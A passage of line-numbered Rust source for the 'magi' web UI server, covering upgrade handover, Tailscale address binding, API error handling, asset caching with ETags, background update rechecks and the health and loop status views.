877    let ui = Ui::open(opts.repo).with_merge(opts.merge);
878    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
879    // home to bracket the parking and restarting stages, and `run_update_recheck`
880    // needs both it and the repo, and by then there is no `ui` left to read
881    // them from.
882    let home = ui.home.clone();
883    let repo = ui.repo.clone();
884    // Settles a progress record a predecessor left non-terminal - either this
885    // *is* the successor `spawn_successor` started, or the previous process
886    // died mid-handover. Before the router starts answering, so the very
887    // first `/api/health` a phone gets from this process already reflects it.
888    updater::reconcile_after_restart(&home);
889    // `magi web` can stay up for days, and the one-time check `main.rs`'s
890    // `spawn_update_check` does at startup only ever runs once: after that,
891    // `/api/health`'s `update` field - and the phone's "Update & restart"
892    // button, which reads the very same cache - would stay frozen on
893    // whatever that single check found, no matter how many releases ship
894    // afterwards. This keeps it current instead. Detached: it must keep
895    // going for as long as this process serves, `serve` has nothing to await
896    // it for, and it exits on its own the moment the process does.
897    tokio::spawn(run_update_recheck(repo, home.clone()));
898    let looping = ui.looping();
899    let socket = SocketAddr::new(addr, opts.port);
900    let listener = bind_waiting(socket).await?;
901    let url = format!("http://{addr}:{}", opts.port);
902    tracing::info!(
903        "magi web UI on {url} - there is no authentication, so anyone who can \
904         reach this address can file and hold tasks: the tailnet is the \
905         security boundary"
906    );
907    tracing::info!(
908        "the queue loop is not running yet - start it from the UI, which is \
909         the whole reason this process can: nothing in the queue moves until \
910         something is running the loop"
911    );
912    if opts.open {
913        // The URL alone on stdout, for a caller that wants to open it. magi
914        // does not spawn a browser: on the machine this usually runs on there
915        // is no display, and a failed launch would be the only output.
916        println!("{url}");
917    }
918
919    // On its own task, so nothing this function awaits can stop the address
920    // being answered. `hand_over` is where it is given up.
921    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
922    let interrupted = async {
923        if tokio::signal::ctrl_c().await.is_err() {
924            // No handler on this platform, so there is no signal to act on.
925            // Never resolving is the safe answer: a failed registration must
926            // not masquerade as the operator asking for a shutdown and take
927            // the UI down on startup.
928            std::future::pending::<()>().await;
929        }
930    };
931    let handover = HANDOVER.notified();
932    tokio::select! {
933        joined = &mut served => match joined {
934            Ok(outcome) => outcome.context("serve the web UI"),
935            Err(e) => Err(e).context("the task serving the web UI ended"),
936        },
937        () = interrupted => {
938            tracing::info!("shutting down the web UI");
939            finish_loop(&looping).await;
940            Ok(())
941        }
942        () = handover => {
943            tracing::info!("upgraded - handing this address to the successor");
944            hand_over(&home, &looping, served, spawn_successor).await
945        }
946    }
947}
948
949/// Park the loop, then release the address, then start the successor.
950///
951/// The order is the whole function, and each step is answerable to a failure
952/// this arrangement has already had:
953///
954/// 1. **Park.** The loop was asked to stop by the request that replaced the
955///    binary, and this waits for it, because killing the graph mid-node
956///    leaves worktrees, branches and agent sessions behind and throws away
957///    every agent call already paid for. It takes as long as the node in
958///    flight - up to `timeout_implement`, an hour by default - and the deck
959///    goes on answering for all of it, which is the reason `served` is a task
960///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
961///    first upgrade from a phone that caught a run mid-implement dropped the
962///    listener the moment it was asked to, and the operator got
963///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
964///    waiting on and nothing but a process list to say the run was alive.
965/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
966///    the join resolves only once the task's future has been dropped, so the
967///    address is unbound before the next line rather than merely on its way
968///    there.
969/// 3. **Start the successor**, which binds the address this process has just
970///    let go of - see [`spawn_successor`] for what the other order cost.
971///
972/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
973/// reporting, not part of the design: it exists so `/api/health` can say
974/// "parking, waiting on run X" instead of leaving the phone to guess why the
975/// deck went quiet, and dropping it would not change the order above.
976async fn hand_over(
977    home: &FsPath,
978    looping: &Mutex<LoopState>,
979    served: tokio::task::JoinHandle<std::io::Result<()>>,
980    successor: impl FnOnce() -> Result<()>,
981) -> Result<()> {
982    if let Some(mut progress) = updater::read_progress(home) {
983        progress.advance(updater::Stage::Parking);
984        let _ = updater::write_progress(home, &progress);
985    }
986    finish_loop(looping).await;
987    served.abort();
988    let _ = served.await;
989    if let Some(mut progress) = updater::read_progress(home) {
990        progress.advance(updater::Stage::Restarting);
991        let _ = updater::write_progress(home, &progress);
992    }
993    successor()
994}
995
996/// Ask the loop to stop and wait for it, on the way out of [`serve`].
997///
998/// The wait is the whole function. Returning from `serve` while a graph is
999/// mid-node ends the process with worktrees, branches and agent sessions left
1000/// behind and every agent call in that run paid for and thrown away, which is
1001/// exactly what the daemon's own shutdown refuses to do.
1002async fn finish_loop(state: &Mutex<LoopState>) {
1003    let live = lock_or_recover(state).live.take();
1004    let Some(live) = live else { return };
1005    live.stop.stop();
1006    lock_or_recover(state).rev += 1;
1007    tracing::info!("waiting for the loop to finish the run in flight");
1008    // The task records its own outcome and logs it, so there is nothing to do
1009    // with a join error here but stop waiting.
1010    let _ = live.handle.await;
1011}
1012
1013/// Resolve `--bind` to an address, plus a warning when the answer is not what
1014/// the operator asked for.
1015///
1016/// Split out from [`serve`] because the interesting half - deciding whether
1017/// Tailscale gave us something usable - is testable without opening a socket.
1018pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1019    match bind {
1020        Bind::Addr(addr) => (*addr, None),
1021        Bind::Auto => match tailscale_ip() {
1022            Ok(ip) => (IpAddr::V4(ip), None),
1023            Err(why) => (
1024                IpAddr::V4(Ipv4Addr::LOCALHOST),
1025                Some(format!(
1026                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1027                     local-only and a phone cannot reach it; start Tailscale \
1028                     or pass --bind <addr>"
1029                )),
1030            ),
1031        },
1032    }
1033}
1034
1035/// This machine's Tailscale IPv4, or why there is not one.
1036///
1037/// `tailscale ip -4` is a local call against the running daemon and returns in
1038/// milliseconds, so it is fine to make it synchronously before the server
1039/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1040/// CGNAT block Tailscale assigns from, and anything else on that output would
1041/// be a different tool answering.
1042fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1043    let out = std::process::Command::new("tailscale")
1044        .args(["ip", "-4"])
1045        .quiet()
1046        .output()
1047        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1048    if !out.status.success() {
1049        let why = String::from_utf8_lossy(&out.stderr);
1050        let why = why.trim();
1051        return Err(format!(
1052            "`tailscale ip -4` failed ({}){}",
1053            out.status,
1054            if why.is_empty() {
1055                String::new()
1056            } else {
1057                format!(": {why}")
1058            }
1059        ));
1060    }
1061    String::from_utf8_lossy(&out.stdout)
1062        .lines()
1063        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1064        .find(is_tailnet)
1065        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1066}
1067
1068/// Is this address in the CGNAT block Tailscale hands out from?
1069fn is_tailnet(ip: &Ipv4Addr) -> bool {
1070    let o = ip.octets();
1071    o[0] == 100 && (64..=127).contains(&o[1])
1072}
1073
1074/// What every handler returns. Spelled out because `Result` in this crate is
1075/// `anyhow::Result`, and a handler's error is a status code as much as a
1076/// message.
1077type ApiResult<T> = std::result::Result<T, ApiError>;
1078
1079/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1080#[derive(Debug)]
1081struct ApiError {
1082    status: StatusCode,
1083    message: String,
1084    /// Every separate thing wrong with what the client sent, when there is
1085    /// more than one and the client is expected to fix them all.
1086    ///
1087    /// Only `POST /api/chats/{id}/file` populates it, and it is skipped when
1088    /// empty so every other error body stays exactly the shape the front end
1089    /// already parses. The reason it exists at all is that the operator
1090    /// rejecting a draft is on a phone: a task file with no acceptance
1091    /// criteria and no title is one edit, and reporting it as two round trips
1092    /// means asking an agent to rewrite the draft twice.
1093    problems: Vec<String>,
1094}
1095
1096impl ApiError {
1097    /// The client asked for something malformed.
1098    fn bad_request(message: impl Into<String>) -> Self {
1099        Self {
1100            status: StatusCode::BAD_REQUEST,
1101            message: message.into(),
1102            problems: Vec::new(),
1103        }
1104    }
1105
1106    /// The client asked for something malformed in several ways at once.
1107    fn bad_request_with(message: impl Into<String>, problems: Vec<String>) -> Self {
1108        Self {
1109            problems,
1110            ..Self::bad_request(message)
1111        }
1112    }
1113
1114    /// No such run or task.
1115    fn not_found(message: impl Into<String>) -> Self {
1116        Self {
1117            status: StatusCode::NOT_FOUND,
1118            message: message.into(),
1119            problems: Vec::new(),
1120        }
1121    }
1122
1123    /// Someone else owns the thing the client wants to change.
1124    /// Re-badge an error whose default mapping is wrong for this route.
1125    fn with_status(mut self, status: StatusCode) -> Self {
1126        self.status = status;
1127        self
1128    }
1129
1130    /// A rules violation from a domain type, reported as the caller's fault.
1131    /// `Question::answer` rejects an unoffered choice, and that is a bad
1132    /// request, not a server error.
1133    fn bad_request_from(e: anyhow::Error) -> Self {
1134        Self::bad_request(format!("{e:#}"))
1135    }
1136
1137    fn conflict(message: impl Into<String>) -> Self {
1138        Self {
1139            status: StatusCode::CONFLICT,
1140            message: message.into(),
1141            problems: Vec::new(),
1142        }
1143    }
1144
1145    /// Our fault, or the disk's.
1146    fn internal(message: impl Into<String>) -> Self {
1147        Self {
1148            status: StatusCode::INTERNAL_SERVER_ERROR,
1149            message: message.into(),
1150            problems: Vec::new(),
1151        }
1152    }
1153}
1154
1155impl From<anyhow::Error> for ApiError {
1156    /// Errors from `queue` and `run` carry their context chain, and the whole
1157    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1158    /// value at line 3" is a message an operator can act on, and there is no
1159    /// secret in a path on a single-user tailnet.
1160    fn from(e: anyhow::Error) -> Self {
1161        Self::internal(format!("{e:#}"))
1162    }
1163}
1164
1165impl IntoResponse for ApiError {
1166    fn into_response(self) -> Response {
1167        let mut body = serde_json::json!({ "error": self.message });
1168        if !self.problems.is_empty() {
1169            // `json!` above built an object, so this cannot be `None`.
1170            if let Some(map) = body.as_object_mut() {
1171                map.insert("problems".to_owned(), serde_json::json!(self.problems));
1172            }
1173        }
1174        (self.status, Json(body)).into_response()
1175    }
1176}
1177
1178/// Run a handler's filesystem work off the executor.
1179///
1180/// Every route that touches the disk goes through here rather than each one
1181/// arguing about whether its own read is small enough. Uniform because the
1182/// expensive case is not rare: `run.json` for a finished competition holds
1183/// every judgement, deliberation turn and review round, so listing a few
1184/// hundred runs is megabytes of parsing, and the executor threads doing it are
1185/// the same ones serving the change stream of every other connected phone.
1186async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1187where
1188    T: Send + 'static,
1189{
1190    match tokio::task::spawn_blocking(job).await {
1191        Ok(result) => result,
1192        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1193    }
1194}
1195
1196/// Cache policy for the three compiled-in front-end files.
1197///
1198/// The whole interface is `include_str!`ed into the binary, so its content
1199/// changes only when the binary does - and a phone that keeps a copy is
1200/// welcome to, right up until the deck is replaced. Without a single cache
1201/// header, browsers were free to invent their own policy, and one did:
1202/// yukimemi's phone went on showing "Candidates must be folded before
1203/// deleting. Run `magi fold` first." - a sentence deleted two releases
1204/// earlier - from a run detail served by a deck that no longer contained it.
1205/// The delete button he was told about was right there, and unreachable.
1206///
1207/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1208/// every time, the answer is a 304 costing one small round trip while the
1209/// deck is unchanged, and the moment it is replaced the tag differs and the
1210/// new interface arrives. Correctness over bytes - this is one file of a few
1211/// tens of kilobytes on a tailnet, and being a version behind is not a
1212/// cosmetic problem when the difference is whether a button exists.
1213const ASSET_CACHE: &str = "no-cache, must-revalidate";
1214
1215/// `ETag` for the compiled-in assets, distinct per build.
1216///
1217/// The version alone would leave a locally built deck - `cargo install
1218/// --path .` twice at the same version, which is the normal way to iterate -
1219/// serving a stale tag for changed bytes. The build timestamp is what makes
1220/// two builds of `0.3.0` differ.
1221fn asset_etag() -> &'static str {
1222    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1223        format!(
1224            "\"{}-{}\"",
1225            env!("CARGO_PKG_VERSION"),
1226            // Length is a cheap, deterministic stand-in for a hash: the
1227            // three files are compiled in together, so any edit to any of
1228            // them almost certainly changes the total, and a rebuild is what
1229            // this needs to track rather than every possible byte pattern.
1230            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1231        )
1232    });
1233    &TAG
1234}
1235
1236/// Headers for a compiled-in asset of `mime`.
1237fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1238    [
1239        (header::CONTENT_TYPE, mime),
1240        (header::CACHE_CONTROL, ASSET_CACHE),
1241        (header::ETAG, asset_etag()),
1242    ]
1243}
1244
1245/// Serve a compiled-in asset, answering `304` when the client already has it.
1246///
1247/// axum does not compare `If-None-Match` for us, and a header the server sets
1248/// but never honours is worse than none: the phone revalidates on every load
1249/// and is handed the whole file back each time. Doing the comparison is what
1250/// makes `must-revalidate` cost one small round trip rather than the
1251/// interface.
1252fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1253    let tag = asset_etag();
1254    let known = headers
1255        .get(header::IF_NONE_MATCH)
1256        .and_then(|v| v.to_str().ok())
1257        // A revalidating client may send several, and a proxy may weaken the
1258        // tag to `W/"..."`; matching on containment covers both without
1259        // parsing the grammar.
1260        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1261    if known {
1262        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1263    }
1264    (asset_headers(mime), body).into_response()
1265}
1266
1267async fn index(headers: header::HeaderMap) -> Response {
1268    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1269}
1270
1271async fn app_css(headers: header::HeaderMap) -> Response {
1272    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1273}
1274
1275async fn app_js(headers: header::HeaderMap) -> Response {
1276    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1277}
1278
1279/// What `/api/health` answers.
1280#[derive(Debug, Serialize)]
1281struct HealthView {
1282    version: &'static str,
1283    home: String,
1284    queue_rev: u64,
1285    runs_rev: u64,
1286    /// The same two revisions [`events`] streams for the question and chat
1287    /// stores.
1288    ///
1289    /// Here because this route is what the front end falls back to when the
1290    /// change stream is not up - it re-polls health on a timer and on wake, and
1291    /// takes the revisions from the answer. Without these two the fallback
1292    /// compares `undefined` against `undefined` for both stores, decides
1293    /// nothing moved, and a phone with a dead stream never learns that a
1294    /// question was asked or that an interview took a turn. `queue_rev` and
1295    /// `runs_rev` above have always been here for exactly this reason; the rule
1296    /// is that every revision the stream carries, this route carries too.
1297    questions_rev: u64,
1298    /// See [`HealthView::questions_rev`].
1299    chats_rev: u64,
1300    /// See [`HealthView::questions_rev`]. The standing chat's own store,
1301    /// separate from `chats_rev`: a `/api/talks` reply moving must not be
1302    /// mistaken for a `/api/chats` one, or a phone open on Planning would sit
1303    /// still while a talk it has open gets a reply.
1304    talks_rev: u64,
1305    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1306    /// is not on disk anywhere, so a phone with no change stream has no other
1307    /// way to notice that the loop it is waiting on was started from another
1308    /// device.
1309    loop_rev: u64,
1310    /// Runs on disk whose state this build cannot parse - almost always a
1311    /// schema bump, occasionally a run killed mid-write.
1312    ///
1313    /// Reported because the list silently skips them, and "no competitions
1314    /// yet" is a lie when six of them are sitting in the runs directory. The
1315    /// terminal deck learned the same lesson: a run that fails to parse must
1316    /// not disappear from the count.
1317    runs_unreadable: usize,
1318    /// The disk, and what the runs and their worktrees occupy on it.
1319    ///
1320    /// This is the incident the janitor exists for: magi alone put 30 GB into
1321    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1322    /// is exactly where the operator learns "the disk is the constraint" -
1323    /// the diagnosis that a run is being held for want of space has to be
1324    /// checkable on the same screen.
1325    disk: DiskView,
1326    /// Questions nobody has answered yet.
1327    ///
1328    /// The one number here that means "nothing will happen until a human
1329    /// acts": a parked run consumes nothing and progresses never.
1330    questions_open: usize,
1331    /// Interviews the operator started in the browser and has not filed.
1332    ///
1333    /// Unlike `questions_open` nothing is blocked on these - a chat is the
1334    /// operator's own half-finished thought. It is here because an interview
1335    /// that never became a task is invisible everywhere else: it is not in the
1336    /// queue and it is not in the run history, so without a count the phone
1337    /// has no way to say "you left one open".
1338    chats_open: usize,
1339    daemon: DaemonView,
1340    /// The loop in this process, exactly what `/api/loop` answers with.
1341    ///
1342    /// Here so a phone that has just woken needs one request to know whether
1343    /// anything is going to happen at all: `daemon` says a loop is alive
1344    /// somewhere, and this says whether it is one this UI can stop.
1345    #[serde(rename = "loop")]
1346    looping: LoopView,
1347    /// Whether a release newer than this build is known, and which.
1348    ///
1349    /// From [`updater::Checker::cached_update`] - the same throttled state the
1350    /// CLI's `notify` mode banners from - never a live check: this route is
1351    /// polled every few seconds, and a live check on each poll would spend
1352    /// GitHub's rate limit before the operator finished reading the strip.
1353    update: UpdateView,
1354    /// The self-upgrade this deck last set in motion, or `null` before the
1355    /// first one. Read off disk, so the successor can report what its
1356    /// predecessor started.
1357    upgrade: Option<UpgradeProgressView>,
1358}
1359
1360/// What `/api/health` knows about a release newer than this build.
1361///
1362/// A plain `Option<String>` for `to` could not distinguish "checked, and this
1363/// is already the newest" from "never checked" - both are `None` - and the
1364/// phone needs to tell those apart to decide whether the deck can be trusted
1365/// to have an opinion at all.
1366#[derive(Debug, Serialize)]
1367struct UpdateView {
1368    /// A newer release is known to exist.
1369    available: bool,
1370    /// Its tag, when `available`.
1371    to: Option<String>,
1372}
1373
1374/// [`updater::Progress`] as `/api/health` reports it.
1375#[derive(Debug, Serialize)]
1376struct UpgradeProgressView {
1377    stage: updater::Stage,
1378    from: String,
1379    to: Option<String>,
1380    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
1381    /// the step it is finishing before the address is handed over.
1382    waiting_on: Option<String>,
1383    started_at: Timestamp,
1384    updated_at: Timestamp,
1385    detail: Option<String>,
1386}
1387
1388/// Whether [`run_update_recheck`] may act at all this tick.
1389///
1390/// The same two conditions [`updater::Checker::new`] and
1391/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
1392/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
1393/// GitHub from this process" - on a button press or on a timer alike.
1394fn should_spawn_recheck(cfg: &Update) -> bool {
1395    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1396}
1397
1398/// Whether this tick should actually reach the network, once checking itself
1399/// is allowed.
1400///
1401/// An upgrade already in flight must not be raced by a check that discovers
1402/// a *newer* release while one is still installing - a phone watching
1403/// `/api/health` would see the answer change out from under the upgrade it
1404/// already asked for. Past that, [`updater::Checker::should_check`] is the
1405/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
1406/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
1407/// polling period, is what keeps this task's network use to at most once per
1408/// `[update] interval` regardless of how often it wakes up.
1409fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1410    if progress.is_some_and(|p| !p.stage.terminal()) {
1411        return false;
1412    }
1413    checker.should_check()
1414}
1415
1416/// How long [`run_update_recheck`] sleeps before its next wake-up.
1417///
1418/// A fraction of the configured `[update] interval` rather than a fixed
1419/// number: a fixed sleep longer than a short custom interval would leave the
1420/// deck waiting on its own wake-up rather than on `should_check`, so an
1421/// operator who set `interval = "1m"` to make the UI catch up quickly would
1422/// not see that take effect until the next restart - exactly the bug this
1423/// task exists to fix, just moved one level down. Scaling with the interval
1424/// keeps the wake-up prompt relative to what was actually configured, while
1425/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
1426/// still what caps the network calls themselves at one per interval,
1427/// regardless of how often this fires.
1428fn recheck_poll_period(cfg: &Update) -> Duration {
1429    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1430}
1431
1432/// Keep `/api/health`'s `update` field current for as long as `magi web`
1433/// stays up.
1434///
1435/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
1436/// which is enough for every other command: they exit in seconds. `magi web`
1437/// can run for days, so a single startup check leaves the cache - and the
1438/// phone's "Update & restart" button, which reads it via
1439/// [`cached_update_view`] - frozen on whatever that one look found, however
1440/// many releases ship afterwards. This is what notices the rest of them,
1441/// re-reading the config each tick so a `magi.toml` edit while the server is
1442/// up takes effect without a restart, the same way every other route here
1443/// already does - both for whether checking is on at all and for how long
1444/// the next sleep should be.
1445///
1446/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
1447/// "install"`: swapping the running binary out from under a task or a run
1448/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
1449/// not as a side effect of a timer nobody asked to fire. This only ever
1450/// calls [`updater::Checker::newer_release`], which refreshes
1451/// `last_update_check.json` and nothing else - so under `mode = "install"`
1452/// this behaves like `notify` for as long as the deck stays up, and an
1453/// actual self-install still happens exactly where it always has: once, at
1454/// the next process start.
1455async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1456    loop {
1457        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1458        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1459        if !should_spawn_recheck(&cfg.update) {
1460            continue;
1461        }
1462        let Some(checker) = updater::Checker::new(&cfg.update) else {
1463            continue;
1464        };
1465        let progress = updater::read_progress(&home);
1466        if !update_recheck_due(&checker, progress.as_ref()) {
1467            continue;
1468        }
1469        if let Err(e) = checker.newer_release().await {
1470            tracing::warn!("background update recheck failed: {e:#}");
1471        }
1472    }
1473}
1474
1475/// [`UpdateView`] from the same throttled, disk-only state
1476/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
1477/// never a live check. `[update] mode = "off"` answers "unknown" the same as
1478/// no cached state at all, which is correct: an operator who turned checking
1479/// off gets no opinion, not a stale one.
1480fn cached_update_view(repo: &FsPath) -> UpdateView {
1481    let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1482    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1483    match latest {
1484        Some(latest) => UpdateView {
1485            available: true,
1486            to: Some(latest.tag_name),
1487        },
1488        None => UpdateView {
1489            available: false,
1490            to: None,
1491        },
1492    }
1493}
1494
1495/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
1496/// from the parked run's own state when the stage is
1497/// [`updater::Stage::Parking`] - the run and the node it is finishing are
1498/// already on disk in `run.json`, so this reads them fresh rather than
1499/// trusting whatever was true the moment the park was requested.
1500fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1501    let waiting_on = (progress.stage == updater::Stage::Parking)
1502        .then_some(progress.parked_run.as_deref())
1503        .flatten()
1504        .and_then(|id| read_run(&ui.runs, id).ok())
1505        .map(|run| {
1506            format!(
1507                "run {} is finishing {} before the address is handed over",
1508                run.short(),
1509                run.status.as_str()
1510            )
1511        });
1512    UpgradeProgressView {
1513        stage: progress.stage,
1514        from: progress.from,
1515        to: progress.to,
1516        waiting_on,
1517        started_at: progress.started_at,
1518        updated_at: progress.updated_at,
1519        detail: progress.detail,
1520    }
1521}
1522
1523/// The disk figures `/api/health` carries. Every number is produced by
1524/// [`crate::disk`], the same code that decides a run may not start, so the
1525/// health screen and the gate cannot disagree about what the machine looks
1526/// like.
1527#[derive(Debug, Serialize)]
1528struct DiskView {
1529    /// Free bytes on the volume holding the runs, when measurable.
1530    #[serde(skip_serializing_if = "Option::is_none")]
1531    free_bytes: Option<u64>,
1532    /// Everything the runs directory occupies, unreadable runs included.
1533    runs_bytes: u64,
1534    /// Everything the runs' worktrees occupy.
1535    worktrees_bytes: u64,
1536    /// The shared build cache's size, when the config names one.
1537    #[serde(skip_serializing_if = "Option::is_none")]
1538    cache_bytes: Option<u64>,
1539}
1540
1541impl DiskView {
1542    /// Measure the three directories and re-read the config's cache.
1543    fn of(ui: &Ui) -> Self {
1544        let cache_bytes = Config::discover(&ui.repo, None)
1545            .ok()
1546            .and_then(|(cfg, _)| cfg.cache_dir())
1547            .map(|dir| crate::disk::dir_size(&dir));
1548        Self {
1549            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1550            runs_bytes: crate::disk::dir_size(&ui.runs),
1551            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1552            cache_bytes,
1553        }
1554    }
1555}
1556
1557/// The daemon's state as the UI presents it.
1558#[derive(Debug, Serialize)]
1559struct DaemonView {
1560    running: bool,
1561    idle: Option<bool>,
1562    pid: Option<u32>,
1563    /// Every task and run currently in flight. Empty when idle; more than
1564    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
1565    /// run going at once.
1566    current: Vec<daemon::Current>,
1567    completed: Option<u64>,
1568    stale_for_secs: Option<i64>,
1569}
1570
1571impl DaemonView {
1572    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
1573    /// not this UI's — a crashed daemon must not look alive here while
1574    /// `doctor` calls it dead.
1575    fn of(status: Option<daemon::Reading>) -> Self {
1576        let Some(status) = status else {
1577            return Self {
1578                running: false,
1579                idle: None,
1580                pid: None,
1581                current: Vec::new(),
1582                completed: None,
1583                stale_for_secs: None,
1584            };
1585        };
1586        let now = Timestamp::now();
1587        let age = status.age_secs(now);
1588        Self {
1589            running: status.running(now),
1590            idle: Some(status.idle),
1591            pid: status.pid,
1592            current: status.current,
1593            completed: Some(status.completed),
1594            stale_for_secs: age,
1595        }
1596    }
1597}
1598
1599async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1600    blocking(move || {
1601        // One read of the status file for the two fields that describe it, so
1602        // `daemon` and `loop` in the same answer cannot disagree about who is
1603        // running the loop.
1604        let reading = daemon::read_status(&ui.home);
1605        // Read on its own line, not inside the literal below: the loop's lock
1606        // is not reentrant, and a guard taken as a temporary there would still
1607        // be held when `loop_view` took it again.
1608        let loop_rev = ui.lock_loop().rev;
1609        let update = cached_update_view(&ui.repo);
1610        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1611        Ok(Json(HealthView {
1612            version: env!("CARGO_PKG_VERSION"),
1613            home: ui.home.display().to_string(),
1614            queue_rev: ui.queue.revision(),
1615            runs_rev: runs_revision(&ui.runs),
1616            questions_rev: ui.questions.revision(),
1617            chats_rev: ui.chats.revision(),
1618            talks_rev: ui.talks.revision(),
1619            loop_rev,
1620            runs_unreadable: runs_unreadable(&ui.runs),
1621            questions_open: ui.questions.count_open(),
1622            chats_open: ui.chats.count_open(),
1623            daemon: DaemonView::of(reading.clone()),
1624            looping: ui.loop_view(reading),
1625            disk: DiskView::of(&ui),
1626            update,
1627            upgrade,
1628        }))
1629    })
1630    .await
1631}
1632
1633/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
1634#[derive(Debug, Serialize)]
1635struct LoopView {
1636    /// A loop is running in *this* process.
1637    running: bool,
1638    /// It has been asked to stop and is still finishing a run.
1639    ///
1640    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
1641    /// because the two differ exactly where it matters: a loop asked to stop
1642    /// while idle is gone within one poll interval, and one asked to stop
1643    /// mid-run keeps going for as long as the graph takes. The operator needs
1644    /// to be told which of those they are waiting for.
1645    stopping: bool,
1646    /// A park was asked for: the run in flight stops at its next node
1647    /// boundary rather than finishing.
1648    ///
1649    /// Separate from `stopping` because the two promise different waits. A
1650    /// stop is "when this competition ends", which can be an hour; a park is
1651    /// "after the step it is on", which is minutes and is what an operator
1652    /// waiting to replace the binary needs to see.
1653    parking: bool,
1654    /// The loop is this process's own.
1655    ///
1656    /// Spelled separately from `running` for the front end's sake, even
1657    /// though inside this process the two move together: `running: false`
1658    /// with `daemon.running: true` is the case where the operator's own `magi
1659    /// serve` owns the loop, and `owned` is the field that tells the UI its
1660    /// buttons have to explain that rather than pretend.
1661    owned: bool,
1662    /// Repository the loop uses for tasks that name none - what it was
1663    /// started with while it runs, and what a start would use before that.
1664    repo: String,
1665    /// Merge mode override in force, or `null` when each repository's own
1666    /// config decides.
1667    merge: Option<String>,
1668    /// Why the last loop in this process ended, when it ended badly.
1669    ///
1670    /// The only place a crashed loop is visible to someone holding a phone.
1671    /// It is logged at error level as well, but a terminal nobody kept open
1672    /// is not a report, and a loop that died at 3am must not read as merely
1673    /// stopped in the morning. Named as [`Task::last_error`] is, because it
1674    /// answers the same question about the same kind of failure.
1675    last_error: Option<String>,
1676    /// The status file, judged the same way `/api/health` judges it: this is
1677    /// what says whether a loop is alive in some *other* process.
1678    daemon: DaemonView,
1679}
1680
1681/// A loop another process already owns.
1682///
1683/// `<home>/daemon.json` is the only cross-process signal there is, so this is
1684/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
1685/// published by a pid that is not ours. Excluding our own pid is what makes
1686/// stopping work at all - the loop this process runs writes that file too, so
1687/// a check that ignored the pid would decide the operator's own UI was a
1688/// stranger and refuse to stop the loop it had just started.
1689#[derive(Debug, Clone, Copy)]
1690struct Foreign {
1691    /// The pid the other process published, when it published one.
1692    pid: Option<u32>,
1693}
1694
1695impl Foreign {
1696    /// Another process's live loop, or `None` when this process is free to
1697    /// run one.
1698    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1699        let reading = reading?;
1700        if !reading.running(Timestamp::now()) {
1701            return None;
1702        }
1703        match reading.pid {
1704            Some(pid) if pid == std::process::id() => None,
1705            // A fresh heartbeat with no pid in it is still evidence of a live
1706            // daemon. "Some other process" is the honest answer, and refusing
1707            // to start beside it is the safe one.
1708            pid => Some(Self { pid }),
1709        }
1710    }
1711
1712    /// How a conflict names it. The pid is the whole point of the message: it
1713    /// is what the operator needs to find the terminal that owns the loop.
1714    fn who(&self) -> String {
1715        match self.pid {
1716            Some(pid) => format!("another magi process (pid {pid})"),
